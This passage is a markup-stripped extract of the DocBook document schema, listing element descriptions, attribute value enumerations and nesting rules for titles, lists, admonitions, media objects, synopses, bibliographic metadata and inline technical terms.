scaling may occur) + 1 + True (scale-to-fit; anamorphic scaling is forbidden) + + + + + Specifies the scaling factor + + + + + center + Centered horizontally + char + Aligned horizontally on the specified character + justify + Fully justified (left and right margins or edges) + left + Left aligned + right + Right aligned + + + + + bottom + Aligned on the bottom of the region + middle + Centered vertically + top + Aligned on the top of the region + + + + + doi + A document object identifier. + isbn + An international standard book number. + isrn + An international standard technical report number (ISO 10444). + issn + An international standard serial number. + libraryofcongress + A Library of Congress reference number. + pubsnumber + A publication number (an internal number or possibly organizational standard). + uri + A Uniform Resource Identifier + + + + + + Identifies the kind of bibliographic identifier + + + + + + + Identifies the nature of the non-standard bibliographic identifier + + + + + + + Identifies the kind of bibliographic identifier + other + Indicates that the identifier is some 'other' kind. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + The text of the title of a section of a document or of a formal block-level element + + + + + + +
    +
    + + + + + + + + + + + + + + + The abbreviation of a title + + + + + + +
    +
    + + + + + + + + + + + + + + + The subtitle of a document + + + + + + +
    +
    + + + + + + + + + + + + + + A wrapper for information about a component or other block + + + + + + + + + +
    +
    + + + + + + + + + + + + + + A wrapper for information about a component or other block with a required title + + + + + + + + + +
    +
    + + + + + + + + + + + + + + A wrapper for information about a component or other block with only a title + + + + + + + + + +
    +
    + + + + + + + + + + + + + + A wrapper for information about a component or other block with only a required title + + + + + + + + + +
    +
    + + + + + + + + + + + + + + A wrapper for information about a component or other block without a title + + + + + + +
    +
    + + + + + + Identifies the controlled vocabulary used by this set's terms + + + + + + + + + + + + + + + + + + A set of terms describing the subject matter of a document + + + + + + +
    +
    + + + + + + Specifies a ranking for this subject relative to other subjects in the same set + + + + + + + + + + + + + + + + + One of a group of terms describing the subject matter of a document + + + + + + +
    +
    + + + + + + + + + + + + + + + A term in a group of terms describing the subject matter of a document + + + + +
    +
    + + + + + + + + + + + + + + + A set of keywords describing the content of a document + + + + + + +
    +
    + + + + + + + + + + + + + + + One of a set of keywords describing the content of a document + + + + +
    + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + A list of operations to be performed in a well-defined sequence + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + A unit of action in a procedure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + Alternative steps in a procedure + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for steps that occur within steps in a procedure + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A portion of a document that is isolated from the main narrative flow + + + sidebar must not occur in the descendants of sidebar + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A summary + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A short description or note about a person + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A quotation set off from the main text + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The source of a block quote or epigraph + + + + + + + + + + + +
    +
    + + + sect1 + Render as a first-level section + sect2 + Render as a second-level section + sect3 + Render as a third-level section + sect4 + Render as a fourth-level section + sect5 + Render as a fifth-level section + + + + + + Indicates how the bridge head should be rendered + + + + + + + Identifies the nature of the non-standard rendering + + + + + + + Indicates how the bridge head should be rendered + other + Identifies a non-standard rendering + + + + + + + + + + + + + + + + + + + + + + + + + + + + A free-floating heading + + + + + + +
    +
    + + + + + + + + + + + + + + + A remark (or comment) intended for presentation in a draft manuscript + + + + +
    +
    + + + + + + + + + + + + + + + + + + A short inscription at the beginning of a document or component + + + + + + + + + + + + + +
    +
    + + + + + + Identifies the desired footnote mark + + + + + + + + + + + + + + + + + + A footnote + + + footnote must not occur in the descendants of footnote + + + + + example must not occur in the descendants of footnote + + + + + figure must not occur in the descendants of footnote + + + + + table must not occur in the descendants of footnote + + + + + table must not occur in the descendants of footnote + + + + + caution must not occur in the descendants of footnote + + + + + important must not occur in the descendants of footnote + + + + + note must not occur in the descendants of footnote + + + + + tip must not occur in the descendants of footnote + + + + + warning must not occur in the descendants of footnote + + + + + indexterm must not occur in the descendants of footnote + + + + + indexterm must not occur in the descendants of footnote + + + + + indexterm must not occur in the descendants of footnote + + + + + sidebar must not occur in the descendants of footnote + + + + + task must not occur in the descendants of footnote + + + + + epigraph must not occur in the descendants of footnote + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A paragraph with a title + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A paragraph + + + The root element must have a version attribute. + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A paragraph that contains only text and inline markup, no block elements + + + + + + + +
    + + + + + + +
    + + + + + + + + + + + + + + + A note of caution + + + caution must not occur in the descendants of caution + + + + + important must not occur in the descendants of caution + + + + + note must not occur in the descendants of caution + + + + + tip must not occur in the descendants of caution + + + + + warning must not occur in the descendants of caution + + + + + + +
    +
    + + + + + + + + + + + + + + + An admonition set off from the text + + + caution must not occur in the descendants of important + + + + + important must not occur in the descendants of important + + + + + note must not occur in the descendants of important + + + + + tip must not occur in the descendants of important + + + + + warning must not occur in the descendants of important + + + + + + +
    +
    + + + + + + + + + + + + + + + A message set off from the text + + + caution must not occur in the descendants of note + + + + + important must not occur in the descendants of note + + + + + note must not occur in the descendants of note + + + + + tip must not occur in the descendants of note + + + + + warning must not occur in the descendants of note + + + + + + +
    +
    + + + + + + + + + + + + + + + A suggestion to the user, set off from the text + + + caution must not occur in the descendants of tip + + + + + important must not occur in the descendants of tip + + + + + note must not occur in the descendants of tip + + + + + tip must not occur in the descendants of tip + + + + + warning must not occur in the descendants of tip + + + + + + +
    +
    + + + + + + + + + + + + + + + An admonition set off from the text + + + caution must not occur in the descendants of warning + + + + + important must not occur in the descendants of warning + + + + + note must not occur in the descendants of warning + + + + + tip must not occur in the descendants of warning + + + + + warning must not occur in the descendants of warning + + + + + + +
    +
    + + + + + + Identifies the type of mark to be used on items in this list + + + + + + + + + + + + + + + + + + + + + + + + A list in which each entry is marked with a bullet or other dingbat + + + + + + + + + + +
    +
    + + + + + + continues + Specifies that numbering should begin where the preceding list left off + restarts + Specifies that numbering should begin again at 1 + + + + + Indicates how list numbering should begin relative to the immediately preceding list + + + + + + ignore + Specifies that numbering should ignore list nesting + inherit + Specifies that numbering should inherit from outer-level lists + + + + + Indicates whether or not item numbering should be influenced by list nesting + + + + + + arabic + Specifies Arabic numeration (1, 2, 3, …) + upperalpha + Specifies upper-case alphabetic numeration (A, B, C, …) + loweralpha + Specifies lower-case alphabetic numeration (a, b, c, …) + upperroman + Specifies upper-case Roman numeration (I, II, III, …) + lowerroman + Specifies lower-case Roman numeration (i, ii, iii …) + + + + + Indicates the desired numeration + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A list in which each entry is marked with a sequentially incremented label + + + + + + + + + + +
    +
    + + + + + + Specifies the keyword for the type of mark that should be used on this + item, instead of the mark that would be used by default + + + + + + + + + + + + + + + + + + A wrapper for the elements of a list item + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A segmented list, a list of sets of elements + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The title of an element of a list item in a segmented list + + + + + + +
    +
    + + + + + + + + + + + + + + + A list item in a segmented list + + + The number of seg elements must be the same as the number of segtitle elements in the parent segmentedlist + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An element of a list item in a segmented list + + + + + + +
    +
    + + + + + + horiz + A tabular presentation in row-major order. + vert + A tabular presentation in column-major order. + inline + An inline presentation, usually a comma-delimited list. + + + + + Specifies the type of list presentation. + + + + + + Specifies the number of columns for horizontal or vertical presentation + + + + + + + + + + + + + + + + + + + + + An undecorated list of single words or short phrases + + + + + + +
    +
    + + + + + + + + + + + + + + + An element of a simple list + + + + + + +
    +
    + + + + + + Indicates a length beyond which the presentation system may consider a term too long and select an alternate presentation for that term, item, or list + + + + + + + + + + + + + + + + + + + + + + + A list in which each entry is composed of a set of one or more terms and an associated description + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A wrapper for a set of terms and the associated description in a variable list + + + + + + + +
    +
    + + + + + + + + + + + + + + + The word or phrase being defined or described in a variable list + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A formal example, with a title + + + example must not occur in the descendants of example + + + + + figure must not occur in the descendants of example + + + + + table must not occur in the descendants of example + + + + + table must not occur in the descendants of example + + + + + caution must not occur in the descendants of example + + + + + important must not occur in the descendants of example + + + + + note must not occur in the descendants of example + + + + + tip must not occur in the descendants of example + + + + + warning must not occur in the descendants of example + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A displayed example without a title + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + A literal listing of all or part of a program + + + + +
    +
    + + + + + + monospaced + The literal layout should be formatted with a monospaced font + normal + The literal layout should be formatted with the current font + + + + + Specifies the class of literal layout + + + + + + + + + + + + + + + + + + + A block of text in which line breaks and white space are to be reproduced faithfully + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + Text that a user sees or might see on a computer screen + + + + +
    +
    + + + + + + + + + + + + + + + + + + A representation of what the user sees or might see on a computer screen + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A formal figure, generally an illustration, with a title + + + example must not occur in the descendants of figure + + + + + figure must not occur in the descendants of figure + + + + + table must not occur in the descendants of figure + + + + + table must not occur in the descendants of figure + + + + + caution must not occur in the descendants of figure + + + + + important must not occur in the descendants of figure + + + + + note must not occur in the descendants of figure + + + + + tip must not occur in the descendants of figure + + + + + warning must not occur in the descendants of figure + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A untitled figure + + + + + + + + + + +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + A displayed media object (video, audio, image, etc.) + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + An inline media object (video, audio, image, and so on) + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for video data and its associated meta-information + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for audio data and its associated meta-information + + + + + +
    + + + + + + + + +
    + + + + + + + + + + + + + + + + + + A wrapper for image data and its associated meta-information + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A wrapper for a text description of an object and its associated meta-information + + + + + + + + + + + +
    +
    + + + + + + + + + Specifies the (horizontal) alignment of the video data + + + + + + + + + Specifies the vertical alignment of the video data + + + + + + + + + + + + + + + + + + + + + Determines if anamorphic scaling is forbidden + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Pointer to external video data + + + + +
    +
    + + + + + + + + + + + + + + + + + + Pointer to external audio data + + + + +
    +
    + + + + + + + + + Specifies the (horizontal) alignment of the image data + + + + + + + + + Specifies the vertical alignment of the image data + + + + + + + + + + + + + + + + + + + + + Determines if anamorphic scaling is forbidden + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Pointer to external image data + + + + +
    +
    + + + + + + Identifies the encoding of the text in the external file + + + + + + + + + + + + + + + + + + + + Pointer to external text data + + + + +
    +
    + + + + + + + + + + + + + + + + + + A caption + + + example must not occur in the descendants of caption + + + + + figure must not occur in the descendants of caption + + + + + table must not occur in the descendants of caption + + + + + table must not occur in the descendants of caption + + + + + caution must not occur in the descendants of caption + + + + + important must not occur in the descendants of caption + + + + + note must not occur in the descendants of caption + + + + + tip must not occur in the descendants of caption + + + + + warning must not occur in the descendants of caption + + + + + sidebar must not occur in the descendants of caption + + + + + task must not occur in the descendants of caption + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + A general-purpose element for representing the syntax of commands or functions + + + + +
    +
    + + + + + + Specifies the character that should separate the command and its top-level arguments + + + + + Indicates the displayed length of the command; this information may be used to intelligently indent command synopses which extend beyond one line + + + + + + + + + + + + + + + + + + + + + + + + + + + + + A syntax summary for a software command + + + + + + + + + + + + + + + +
    + + + norepeat + Can not be repeated. + repeat + Can be repeated. + + + + + Indicates whether or not repetition is possible. + + + + + + opt + Formatted to indicate that it is optional. + plain + Formatted without indication. + req + Formatted to indicate that it is required. + + + + + Indicates optionality. + + + + + + Indicates optionality. + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + An argument in a CmdSynopsis + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + A group of elements in a CmdSynopsis + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + An explicit line break in a command synopsis + + + + +
    +
    + + + + + + + + + + + + + + + A portion of a CmdSynopsis broken out from the main body of the synopsis + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A reference to a fragment of a command synopsis + + + @linkend on synopfragmentref must point to a synopfragment. + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + The syntax summary for a function definition + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + Information supplementing the FuncDefs of a FuncSynopsis + + + + +
    +
    + + + + + + + + + + + + + + + The prototype of a function + + + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A function (subroutine) name and its return type + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An empty element in a function synopsis indicating that the function in question takes no arguments + + + + +
    +
    + + + + + + + + + + + + + + + An empty element in a function synopsis indicating a variable number of arguments + + + + +
    +
    + + + + + + opt + Formatted to indicate that it is optional. + req + Formatted to indicate that it is required. + + + + + Indicates optionality. + + + + + + + + + + + + + + + + + + Information about a function parameter in a programming language + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + Parameters for a function referenced through a function pointer in a synopsis + + + + +
    +
    + + + + + + class + This is the synopsis of a class + interface + This is the synopsis of an interface + + + + + Specifies the nature of the synopsis + + + + + + + + + + + + + + + + + + + + + The syntax summary for a class definition + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + Information supplementing the contents of a ClassSynopsis + + + + +
    +
    + + + + + + + + + + + + + + + A class in an object-oriented programming language + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An interface in an object-oriented programming language + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + An exception in an object-oriented programming language + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + Modifiers in a synopsis + + + + +
    +
    + + + + + + + + + + + + + + + The name of an interface + + + + +
    +
    + + + + + + + + + + + + + + + The name of an exception + + + + +
    +
    + + + + + + + + + + + + + + + + + + The name of a field in a class definition + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The initializer for a FieldSynopsis + + + + +
    +
    + + + + + + + + + + + + + + + + + + A syntax summary for a constructor + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A syntax summary for a destructor + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + A syntax summary for a method + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The name of a method + + + + +
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + Parameters to a method + + + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + A real-world address, generally a postal address + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A street address in an address + + + + +
    +
    + + + + + + + + + + + + + + + A post office box in an address + + + + +
    +
    + + + + + + + + + + + + + + + A postal code in an address + + + + +
    +
    + + + + + + + + + + + + + + + The name of a city in an address + + + + +
    +
    + + + + + + + + + + + + + + + A state or province in an address + + + + +
    +
    + + + + + + + + + + + + + + + The name of a country + + + + +
    +
    + + + + + + + + + + + + + + + A telephone number + + + + +
    +
    + + + + + + + + + + + + + + + A fax number + + + + +
    +
    + + + + + + + + + + + + + + + Uncategorized information in address + + + + +
    +
    + + + + + + + + + + + + + + + The institutional affiliation of an individual + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A brief description of an affiliation + + + + +
    +
    + + + + + + + + + + + + + + + The title of an individual in an organization + + + + +
    +
    + + + consortium + A consortium + corporation + A corporation + informal + An informal organization + nonprofit + A non-profit organization + + + + + Specifies the nature of the organization + + + + + + Specifies the nature of the organization + other + Indicates a non-standard organization class + + + Identifies the non-standard nature of the organization + + + + + + + + + + + + + + + + + + + + + + + + + + The name of an organization other than a corporation + + + + +
    +
    + + + + + + + + + + + + + + + A division of an organization + + + + + + +
    +
    + + + + + + + + + + + + + + + The page numbers of an article as published + + + + +
    +
    + + + + + + + + + + + + + + + The personal name of an individual + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + The name of an individual author + + + + +
    +
    + + + + + + + + + + + + + + + Wrapper for author information when a document has multiple authors or collabarators + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + Identifies a collaborator + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The initials or other short identifier for an author + + + + +
    +
    + + + + + + + + + + + + + + + A wrapper for document meta-information about a conference + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The dates of a conference for which a document was written + + + + +
    +
    + + + + + + + + + + + + + + + The title of a conference for which a document was written + + + + +
    +
    + + + + + + + + + + + + + + + An identifier, frequently numerical, associated with a conference for which a document was written + + + + +
    +
    + + + + + + + + + + + + + + + The sponsor of a conference for which a document was written + + + + +
    +
    + + + + + + + + + + + + + + + The contract number of a document + + + + +
    +
    + + + + + + + + + + + + + + + The sponsor of a contract + + + + +
    +
    + + + + + + + + + + + + + + + Copyright information about a document + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The year of publication of a document + + + + +
    +
    + + + + + + + + + + + + + + + The name of the individual or organization that holds a copyright + + + + +
    + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + Additional content for the cover of a publication + + + + +
    + + + + + + + + + +
    + + + + + + + + + + + + + + + The date of publication or revision of a document + + + + +
    +
    + + + + + + + + + + + + + + + The name or number of an edition of a document + + + + +
    +
    + + + + + + + + + + + + + + + The name of the editor of a document + + + + +
    +
    + + + + + + + + + + + + + + + + An identifier for a document + + + + +
    +
    + + + + + + + + + + + + + + + + A citation of a bibliographic identifier + + + + +
    +
    + + + + + + + + + + + + + + + + The source of a document + + + + +
    +
    + + + hasformat + The described resource pre-existed the referenced resource, which is essentially the same intellectual content presented in another format + haspart + The described resource includes the referenced resource either physically or logically + hasversion + The described resource has a version, edition, or adaptation, namely, the referenced resource + isformatof + The described resource is the same intellectual content of the referenced resource, but presented in another format + ispartof + The described resource is a physical or logical part of the referenced resource + isreferencedby + The described resource is referenced, cited, or otherwise pointed to by the referenced resource + isreplacedby + The described resource is supplanted, displaced, or superceded by the referenced resource + isrequiredby + The described resource is required by the referenced resource, either physically or logically + isversionof + The described resource is a version, edition, or adaptation of the referenced resource; changes in version imply substantive changes in content rather than differences in format + references + The described resource references, cites, or otherwise points to the referenced resource + replaces + The described resource supplants, displaces, or supersedes the referenced resource + requires + The described resource requires the referenced resource to support its function, delivery, or coherence of content + + + + + + Identifies the type of relationship + + + + + + + + Identifies the type of relationship + othertype + The described resource has a non-standard relationship with the referenced resource + + + + A keyword that identififes the type of the non-standard relationship + + + + + + + + + + + + + + + + + + + + + + + + + + The relationship of a document to another + + + + +
    +
    + + + dcmipoint + The DCMI Point identifies a point in space using its geographic coordinates + iso3166 + ISO 3166 Codes for the representation of names of countries + dcmibox + The DCMI Box identifies a region of space using its geographic limits + tgn + The Getty Thesaurus of Geographic Names + + + + + + Specifies the type of spatial coverage + + + + + + + + Specifies the type of spatial coverage + otherspatial + Identifies a non-standard type of coverage + + + + A keyword that identifies the type of non-standard coverage + + + + + + + + + + + + dcmiperiod + A specification of the limits of a time interval + w3c-dtf + W3C Encoding rules for dates and times—a profile based on ISO 8601 + + + + + + Specifies the type of temporal coverage + + + + + + + + Specifies the type of temporal coverage + othertemporal + Specifies a non-standard type of coverage + + + + A keyword that identifies the type of non-standard coverage + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + The spatial or temporal coverage of a document + + + + +
    +
    + + + + + + + + + + + + + + + + + + A statement of legal obligations or requirements + + + + + + + +
    +
    + + + copyeditor + A copy editor + graphicdesigner + A graphic designer + other + Some other contributor + productioneditor + A production editor + technicaleditor + A technical editor + translator + A translator + + + + + + Identifies the nature of the contributor + + + + + + + Identifies the nature of the non-standard contribution + + + + + + + Identifies the nature of the contributor + other + Identifies a non-standard contribution + + + + + + + + + + + + + + + + + + + + + + + + + + A person or entity, other than an author or editor, credited in a document + + + + +
    +
    + + + + + + + + + + + + + + + The numbers of the pages in a book, for use in a bibliographic entry + + + + +
    +
    + + + + + + + + + + + + + + + A summary of the contributions made to a document by a credited source + + + + +
    +
    + + + + + + + + + + + + + + + The title of a person + + + + +
    +
    + + + + + + + + + + + + + + + The first name of a person + + + + +
    +
    + + + + + + + + + + + + + + + A family name; in western cultures the last name + + + + +
    +
    + + + + + + + + + + + + + + + The portion of a person's name indicating a relationship to ancestors + + + + +
    +
    + + + + + + + + + + + + + + + A component of a persons name that is not a first name, surname, or lineage + + + + +
    +
    + + + + + + + + + + + + + + + The printing history of a document + + + + + + +
    +
    + + + + + + copyright + A name with a copyright + registered + A name with a registered copyright + service + A name of a service + trade + A name which is trademarked + + + + + Specifies the class of product name + + + + + + + + + + + + + + + + + + The formal name of a product + + + + +
    +
    + + + + + + + + + + + + + + + A number assigned to a product + + + + +
    +
    + + + + + + + + + + + + + + + The date of publication of a document + + + + +
    +
    + + + + + + + + + + + + + + + The publisher of a document + + + + + + + +
    +
    + + + + + + + + + + + + + + + The name of the publisher of a document + + + + +
    +
    + + + + + + + + + + + + + + + Information about a particular release of a document + + + + +
    +
    + + + + + + + + + + + + + + + + + + A history of the revisions to a document + + + + + + + +
    +
    + + + + + + + + + + + + + + + An entry describing a single revision in the history of the revisions to a document + + + + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A document revision number + + + + +
    +
    + + + + + + + + + + + + + + + A description of a revision to a document + + + + +
    +
    + + + + + + + + + + + + + + + A extended description of a revision to a document + + + + + + +
    +
    + + + + + + + + + + + + + + + Numbers of the volumes in a series of books + + + + +
    +
    + + + + + + + + + + + + + + + The volume number of a document in a set (as of books in a set or articles in a journal) + + + + +
    +
    + + + + + + + + + + + + + + + The number of an issue of a journal + + + + +
    +
    + + + + + + + + + + + + + + + A graphical user interface (GUI) keyboard shortcut + + + + +
    +
    + + + hardware + A hardware application + software + A software application + + + + + Identifies the class of application + + + + + + + + + + + + + + + + + + + + + The name of a software program + + + + +
    +
    + + + + + + + + + + + + + + + A software or application package + + + + +
    +
    + + + + + + + + + + + + + + + The name of a class, in the object-oriented programming sense + + + + +
    +
    + + + + + + + + + + + + + + + The name of an executable program or other software command + + + + +
    + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + + Data, generally text, displayed or presented by a computer + + + + + + +
    +
    + + + altkey + An alternate or secondary key + constraint + A constraint + datatype + A data type + field + A field + foreignkey + A foreign key + group + A group + index + An index + key1 + The first or primary key + key2 + An alternate or secondary key + name + A name + primarykey + The primary key + procedure + A (stored) procedure + record + A record + rule + A rule + secondarykey + The secondary key + table + A table + user + A user + view + A view + + + + + Identifies the class of database artifact + + + + + + + + + + + + + + + + + + + + + The name of a database, or part of a database + + + + +
    +
    + + + + + + + + + + + + + + + An email address + + + + +
    +
    + + + + + + + + + + + + + + + A software environment variable + + + + +
    +
    + + + + + + + + + + + + + + + An error code + + + + +
    +
    + + + + + + + + + + + + + + + An error name + + + + +
    +
    + + + + + + + + + + + + + + + An error message. + + + + +
    +
    + + + + + + + + + + + + + + + The classification of an error message + + + + +
    +
    + + + devicefile + A device + directory + A directory + extension + A filename extension + headerfile + A header file (as for a programming language) + libraryfile + A library file + partition + A partition (as of a hard disk) + symlink + A symbolic link + + + + + Identifies the class of filename + + + + + + Specifies the path of the filename + + + + + + + + + + + + + + + + + + + + + + + The name of a file + + + + +
    +
    + + + + + + + + + + + + + + + The name of a function or subroutine, as in a programming language + + + + +
    +
    + + + + + + + + + + + + + + + The text on a button in a GUI + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + Graphic and/or text appearing as a icon in a GUI + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The text of a label in a GUI + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The name of a menu in a GUI + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The name of a terminal menu item in a GUI + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The name of a submenu in a GUI + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + A physical part of a computer system + + + + +
    +
    + + + alt + The "Alt" key + backspace + The "Backspace" key + command + The "Command" key + control + The "Control" key + delete + The "Delete" key + down + The down arrow + end + The "End" key + enter + The "Enter" or "Return" key + escape + The "Escape" key + home + The "Home" key + insert + The "Insert" key + left + The left arrow + meta + The "Meta" key + option + The "Option" key + pagedown + The page down key + pageup + The page up key + right + The right arrow + shift + The "Shift" key + space + The spacebar + tab + The "Tab" key + up + The up arrow + + + + + + Identifies the function key + + + + + + + + Identifies the function key + other + Indicates a non-standard function key + + + + Specifies a keyword that identifies the non-standard key + + + + + + + + + + + + + + + + + + + + + + + + The text printed on a key on a keyboard + + + + +
    +
    + + + + + + + + + + + + + + + The internal, frequently numeric, identifier for a key on a keyboard + + + + +
    +
    + + + click + A (single) mouse click. + double-click + A double mouse click. + press + A mouse or key press. + seq + Sequential clicks or presses. + simul + Simultaneous clicks or presses. + + + + + + Identifies the nature of the action taken. If keycombo + contains more than one element, simul + is the default, otherwise there is no default. + + + + + + + + Identifies the nature of the action taken + other + Indicates a non-standard action + + + + Identifies the non-standard action in some unspecified way. + + + + + + + + + + + + + + + + + + + + + + + + A combination of input actions + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The symbolic name of a key on a keyboard + + + + +
    +
    + + + + + + + + + + + + + + + A comment on a line in a verbatim listing + + + + +
    +
    + + + + + + + + + + + + + + + Inline text that is some literal value + + + + +
    +
    + + + Identifies the (computer) language of the code fragment + + + + + + + + + + + + + + + + + + + + An inline code fragment + + + + +
    +
    + + + Identifies the class of constant + limit + The value is a limit of some kind + + + + + + + + + + + + + + + + + + + + A programming or system constant + + + + +
    +
    + + + + + + + + + + + + + + + The name of a variable + + + + +
    +
    + + + + + + + + + + + + + + + A string of formatting markup in text that is to be represented literally + + + + +
    +
    + + + + + + + + + + + + + + + A selection or series of selections from a menu + + + + + + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + + + + + A key combination for an action that is also accessible through a menu + + + + + + + + + + + +
    +
    + + + + + + + + + + + + + + + The conventional name of a mouse button + + + + +
    +
    + + + + + + + + + + + + + + + An option for a software command + + + + +
    +
    + + + + + + + + + + + + + + + Optional information + + + + +
    +
    + + + + + + + + + + + + + + + A unit of data associated with some part of a computer system + + + + +
    +
    + + + command + A command + function + A function + option + An option + + + + + Identifies the class of parameter + + + + + + + + + + + + + + + + + + + + + A value or a symbolic reference to a value + + + + +
    + + + + + + +
    + + + + + + + + + + + + + + + A character or string indicating the start of an input field in a computer display + + + + + + +
    + + + + + + +
    + + + command + A command + function + A function + option + An option + parameter + A parameter + + + + + Identifies the nature of the replaceable text + + + + + + + + + + + + + + + + + + + + + Content that may or must be replaced by the user + + + + + + +
    +
    + + + + + + + + + + + + + + + The value returned by a function + + + + +
    +
    + + + + + + attribute + An attribute + attvalue + An attribute value + element + An element + emptytag + An empty element tag + endtag + An end tag + genentity + A general entity + numcharref + A numeric character reference + paramentity + A parameter entity + pi + A processing instruction + comment + An SGML comment + starttag + A start tag + xmlpi + An XML processing instruction + + + + + Identifies the nature of the tag content + + + + + + Identifies the namespace of the tag content + + + + + + + + + + + + + + + + + + + + + A component of XML (or SGML) markup + + + + +
    +
    + + + Identifies the class of symbol + limit + The value is a limit of some kind + + + + + + + + + + + + + + + + + + + + A name that is replaced by a value before processing + + + + +
    + + + + + + +
    + + + daemon + A daemon or other system process (syslogd) + domainname + A domain name (example.com) + etheraddress + An ethernet address (00:05:4E:49:FD:8E) + event + An event of some sort (SIGHUP) + eventhandler + An event handler of some sort (hangup) + filesystem + A filesystem (ext3) + fqdomainname + A fully qualified domain name (my.example.com) + groupname + A group name (wheel) + ipaddress + An IP address (127.0.0.1) + library + A library (libncurses) + macro + A macro + netmask + A netmask (255.255.255.192) + newsgroup + A newsgroup (comp.text.xml) + osname + An operating system name (Hurd) + process + A process (gnome-cups-icon) + protocol + A protocol (ftp) + resource + A resource + server + A server (mail.example.com) + service + A service (ppp) + systemname + A system name (hephaistos) + username + A user name (ndw) + + + + + Identifies the nature of the system item + + + + + + + + + + + + + + + + + + + + + A system-related item or term + + + + + + +
    +
